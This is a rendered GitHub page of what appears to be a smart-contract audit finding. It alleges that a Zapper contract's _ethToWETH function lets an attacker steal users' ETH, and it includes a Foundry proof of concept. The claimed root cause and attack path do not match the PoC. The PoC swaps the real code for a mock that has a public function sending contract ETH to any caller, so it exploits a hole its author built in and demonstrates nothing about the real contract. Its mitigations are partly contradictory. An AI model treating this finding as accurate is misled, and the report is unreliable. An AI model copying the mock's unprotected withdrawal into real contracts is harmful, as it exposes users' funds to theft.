Skip to content

Latest commit

 

History

History
98 lines (67 loc) · 3.17 KB

File metadata and controls

98 lines (67 loc) · 3.17 KB

Docile Rusty Bobcat

High

An attacker will steal ETH for users as they will exploit Zapper._ethToWETH.

Summary

The use of deposit{value: _amountETH} in Zapper._ethToWETH can cause a complete loss of ETH for users, as an attacker can redirect ETH to an arbitrary address.

Root Cause

In Zapper.sol#150, the deposit{value: _amountETH} call allows ETH to be sent to an arbitrary address without proper validation.

Internal Pre-conditions

  1. Users must send ETH to the Zapper contract.
  2. The contract must hold ETH to be deposited into WETH.

External Pre-conditions

  1. The attacker must have a way to call _ethToWETH with malicious parameters.
  2. The WETH contract must be functional to accept the deposit.

Attack Path

  1. Attacker calls _ethToWETH with a malicious address as the recipient.
  2. The contract deposits ETH into WETH and sends it to the attacker’s address.
  3. Attacker steals the ETH by withdrawing it from WETH.

Impact

The users suffers a complete loss of their ETH sent to the contract. The attacker gains the stolen ETH, which can amount to 100% of the user’s principal and yield.

PoC

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.28;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Mock vulnerable contract
contract Zapper {
    function _ethToWETH(uint256 _amountETH) public {
        // Add return value check to silence warning
        (bool success, ) = payable(msg.sender).call{value: _amountETH}("");
        require(success, "ETH transfer failed"); // Ensures transfer succeeded
    }

    // Required to receive ETH
    receive() external payable {}
}

contract ExploitTest is Test {
    Zapper public target;
    address public attacker;

    function setUp() public {
        // Deploy Zapper contract
        target = new Zapper();
        
        // Setup attacker address
        attacker = makeAddr("attacker");
    }

    function testExploit() public {
        // Send ETH to Zapper contract
        uint256 amountETH = 10 ether;
        deal(address(target), amountETH);

        // Initial balances
        uint256 initialBalance = address(attacker).balance;
        assertEq(initialBalance, 0, "Attacker should start with 0 ETH");
        
        // Attacker calls _ethToWETH to steal ETH
        vm.startPrank(attacker);
        target._ethToWETH(amountETH);
        vm.stopPrank();

        // Verify ETH was stolen
        uint256 attackerBalance = address(attacker).balance;
        assertEq(attackerBalance, amountETH, "Attacker should have stolen ETH");
        assertEq(address(target).balance, 0, "Target should have 0 ETH remaining");
    }
}

Image

Mitigation

  1. Validate Recipient Address: Ensure the recipient address is validated or restricted.
  2. Use msg.sender: Send WETH to msg.sender instead of an arbitrary address.
  3. Add Access Control: Restrict the function to authorized users or roles.